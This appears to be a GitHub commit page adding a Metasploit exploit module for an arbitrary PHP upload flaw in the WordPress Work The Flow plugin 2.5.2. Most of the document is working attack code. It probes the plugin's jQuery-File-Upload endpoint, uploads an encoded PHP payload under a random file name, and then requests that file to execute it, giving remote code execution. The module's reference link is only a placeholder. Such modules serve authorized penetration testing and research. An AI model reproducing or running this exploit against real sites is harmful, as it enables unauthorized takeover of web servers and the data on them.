Skip to content

Commit 9f06cee

Browse files
committed
Add Module WordPress WorkTheFlow Shell Upload
1 parent d5903ca commit 9f06cee

File tree

1 file changed

+81
-0
lines changed

1 file changed

+81
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wordpress Work The Flow Upload Vulnerability',
17+
'Description' => %q{
18+
This module exploits an arbitrary PHP code upload in the WordPress Work The Flow plugin,
19+
version 2.5.2. The vulnerability allows for arbitrary file upload and remote code execution.
20+
},
21+
'Author' =>
22+
[
23+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
['URL', 'http://domain.com']
29+
],
30+
'Privileged' => false,
31+
'Platform' => 'php',
32+
'Arch' => ARCH_PHP,
33+
'Targets' => [['Work The Flow 2.5.2', {}]],
34+
'DisclosureDate' => 'Mar 14 2015',
35+
'DefaultTarget' => 0)
36+
)
37+
end
38+
39+
def check
40+
res = send_request_cgi(
41+
'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
42+
'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php')
43+
)
44+
45+
if res && res.code == 200 && res.body =~ /files/
46+
return Exploit::CheckCode::Detected
47+
end
48+
49+
Exploit::CheckCode::Safe
50+
end
51+
52+
def exploit
53+
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
54+
55+
data = Rex::MIME::Message.new
56+
data.add_part('upload', nil, nil, 'form-data; name="action"')
57+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files\"; filename=\"#{php_pagename}\"")
58+
post_data = data.to_s
59+
60+
res = send_request_cgi({
61+
'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
62+
'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'),
63+
'method' => 'POST',
64+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
65+
'data' => post_data
66+
})
67+
68+
if res && res.code == 200 && res.body
69+
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
70+
register_files_for_cleanup(php_pagename)
71+
else
72+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
73+
end
74+
75+
print_status("#{peer} - Calling payload...")
76+
send_request_cgi({
77+
'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
78+
'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename)
79+
}, 2)
80+
end
81+
end

0 commit comments

Comments
 (0)